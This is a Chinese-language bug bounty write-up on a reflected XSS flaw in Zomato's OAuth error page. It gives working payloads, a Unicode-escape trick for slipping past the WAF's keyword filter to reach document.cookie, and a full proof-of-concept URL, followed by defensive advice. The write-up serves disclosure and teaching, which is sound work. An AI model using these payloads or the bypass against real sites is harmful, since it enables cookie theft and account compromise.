挖洞经验 | 印度餐饮点评网Zomato的Reflected XSS漏洞
字数 1211 2025-08-18 11:37:53
Zomato反射型XSS漏洞分析与利用教学文档
漏洞概述
本文档详细分析印度餐饮点评网站Zomato存在的一个反射型跨站脚本(XSS)漏洞,该漏洞位于其OAuth 2.0授权流程中,最终获得了$250的漏洞赏金。
漏洞发现过程
1. 目标发现
- 使用WolframAlpha进行子域名枚举:
https://www.wolframalpha.com/ - 搜索
zomato.com后发现多个子域名 - 选择访问量最低的子域名
secretx.zomato.com(日均访问量仅400)
2. 初步分析
- 发现"Sign in with Zomato"按钮
- 点击后跳转至授权流程,显示"SecretX Client wants to access you Zomato Account"提示
- 分析页面源码发现关键OAuth 2.0授权URL
3. 关键授权URL
https://auth2.zomato.com/oauth2/auth?
response_type=code&
client_id=80b39918-90be-49d2-ac52-4a8b1a25bcf1&
redirect_uri=https%3A%2F%2Fsecretx.zomato.com%2Fuser%2Foauth2%2Fredirect_uri&
state=2BHoBnVFFKP29L6SerHgEb7OCnBDPO
4. 漏洞测试
- 在URL参数中填充测试值(如
error=xss) - 发现参数值直接反映在响应页面中
- 确认
<和>未被过滤
漏洞利用
1. 初始Payload尝试
<marquee loop=1 width=0 onfinish=alert`1`>XSS</marquee>
- 发现
alert(),confirm(),prompt()被WAF过滤 - 尝试URL编码Payload未成功
2. WAF绕过技术
参考Somdev的XSS Cheatsheet:
https://github.com/s0md3v/AwesomeXSS
使用Unicode编码绕过:
co\u006efirm()
3. 最终有效Payload
<marquee loop=1 width=0 onfinish=co\u006efirm(document.cookie)>XSS</marquee>
URL编码版本:
<marquee%20loop%3d1%20width%3d0%20onfinish%3dco\u006efirm(document.cookie)%3EXSS%3C%2fmarquee%3E
漏洞PoC
存在漏洞的URL:
https://auth2.zomato.com/oauth2/fallbacks/error?error=xss&error_description=xss&error_hint=xss
存在漏洞的参数:所有参数
完整PoC URL:
https://auth2.zomato.com/oauth2/fallbacks/error?
error=xss&
error_description=xsssy&
error_hint=%3Cmarquee%20loop%3d1%20width%3d0%20onfinish%3dco\u006efirm(document.cookie)%3EXSS%3C%2fmarquee%3E
漏洞原因
- 漏洞存在于Zomato使用的开放授权验证提供商Hydra中
- 未对用户输入进行适当过滤和转义
- WAF规则可被Unicode编码绕过
防御措施
-
输入验证与过滤:
- 对所有用户输入进行严格验证
- 过滤或转义特殊字符(如
<,>,",'等)
-
输出编码:
- 对所有动态输出内容进行HTML编码
-
WAF增强:
- 检测Unicode编码的JavaScript函数
- 更新规则以防止此类绕过
-
CSP策略:
- 实施内容安全策略(CSP)限制内联脚本执行
-
OAuth安全:
- 确保OAuth错误处理页面不反射用户输入
- 对redirect_uri进行严格验证
学习要点
- 子域名枚举是发现潜在漏洞目标的有效方法
- 低访问量的子域名可能包含较少测试的安全漏洞
- WAF绕过需要耐心和多种技术尝试
- Unicode编码是绕过JavaScript关键字过滤的有效技术
- 错误处理页面是XSS漏洞的常见来源
参考资源
- [Mastering Modern Web Penetration Testing] - 渗透测试技术书籍
- [AwesomeXSS Cheatsheet] - XSS绕过技术集合
- OAuth 2.0安全最佳实践文档
- Web应用防火墙(WAF)绕过技术研究